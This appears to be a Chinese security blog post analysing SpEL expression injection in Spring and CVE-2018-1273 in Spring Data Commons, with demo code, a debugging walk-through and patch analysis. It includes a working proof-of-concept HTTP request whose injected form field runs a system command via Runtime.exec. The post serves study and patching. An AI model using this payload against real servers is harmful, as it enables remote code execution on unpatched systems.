本次分享视频讲解链接:
https://www.bilibili.com/video/BV1C84y1u7Tz/?spm_id_from=333.999.0.0&vd_source=16d23ba7b6eb72e7c4367ba62ab5e2a5
1、EvaluationContext包
EvaluationContext表示上下文环境,系统提供了2个EvaluationContext接口实现类。
-
StandardEvaluationContext:支持全部SpEL语法,在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext。
-
SimpleEvaluationContext:仅支持SpEL语言语法的一个子集,不包括Java类型引用、构造函数和bean引用。
SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext 接口实现类,而它包含了SpEL的所有功能,允许用户在可以控制输入的情况下成功造成任意代码执行。
例如:通过控制 SpEL 表达式执行命令
package expression;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
public class Demo {
public static void main(String[] args) {
test2();
}
//展示默认不指定context类型默认使用的是StandardEvaluationContext
public static void test1(){
String spel = "T(java.lang.Runtime).getRuntime().exec("calc")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
//弹窗计算器,输出:java.lang.ProcessImpl@17d99928
}
//指定context为simpleEvaluationContext
public static void test2(){
String spel = "T(java.lang.Runtime).getRuntime().exec("calc")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));
//报错,输出:EL1005E: Type cannot be found 'java.lang.Runtime'
}
}
2、CVE-2018-1273漏洞
2.1 漏洞简介
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。
漏洞描述:Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响范围:Spring Data Commons 1.13 to 1.13.10、Spring Data Commons 2.0 to 2.0.5、Spring Boot < 2.0.0 RELEASE
2.2 环境搭建
拉取开源项目:https://github.com/spring-projects/spring-data-examples
Springboot 2.0.0默认引用spring-data-commons是2.0.5版本,在pom.xml将其改为2.0.0版本。
加载maven拉取包:
配置运行信息,启动web[spring-data-web-example]:
2.3 漏洞复现
在users注册页面输入信息点击提交,抓包修改post请求体为攻击POC如下:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=&password=&repeatedPassword=
详细请求包如下:
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.0.111:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://192.168.0.111:8080
Connection: close
Referer: http://192.168.0.111:8080/users
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=&password=&repeatedPassword=
3、漏洞调试分析
1、功能点2、回溯调用栈,doDispatch()方法分发请求,调用handler,获取ModelandView
3、modelFactory.initModel()方法找对应的路由初始化Mode
4、将请求和model容器作为参数交给目标invokeAndHandle()方法controller处理
5、解析属性,确定controller中约定的参数类型为userForm
6、跟进org.springframework.data.web.ProxyingHandlerMethodArgumentResolver#createAttribute方法,这里对MapDataBinder对象进行了实例化,绑定请求即Map参数
7、跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValues方法,while循环遍历PropertyValues数组
8、随之调用setPropertyValue()方法对数组信息进行处理
9、isWritableProperty()对propertyName进行有效性校验
10、在UserForm类型中找不到相应property则返回false
11、Property值为username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]
12、经过isWritableProperty()判断时,对propertyName通过正则匹配进行特殊字符截断,仅留截断剩余的部分,传入的plainPropertyPath变成了username字符串
13、全选135行,右击Evaluate功能,看到匹配到了UserForm.username属性
14、与之匹配的type其实是代码controller中定义的UserForm可接收参数类型
15、propertyName有内容,自然看到isWritableProperty(propertyName)的返回值为True
16、值为True在setPropertyValue()中可继续执行解析代码
17、执行到setValue()方法,看到解析器上下文是StandardEvaluationContext类
18、继续跟进获取value变量值的过程,使用getValueInternal()方法
19、反射获取到java.lang.Runtime.exec()构造器,传递的arguments值为calc命令
4、漏洞补丁分析
在 Spring Data Commons 2.0.6 版本开始,官方将创建 context 对象的实现类从 StandardEvaluationContext 方法替代为 SimpleEvaluationContext 方法,从而阻止了Java类型引用、构造函数和bean引用。
参考链接:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
原文始发于微信公众号(ZackSecurity):【Java框架审计】SpringEL表达式注入漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论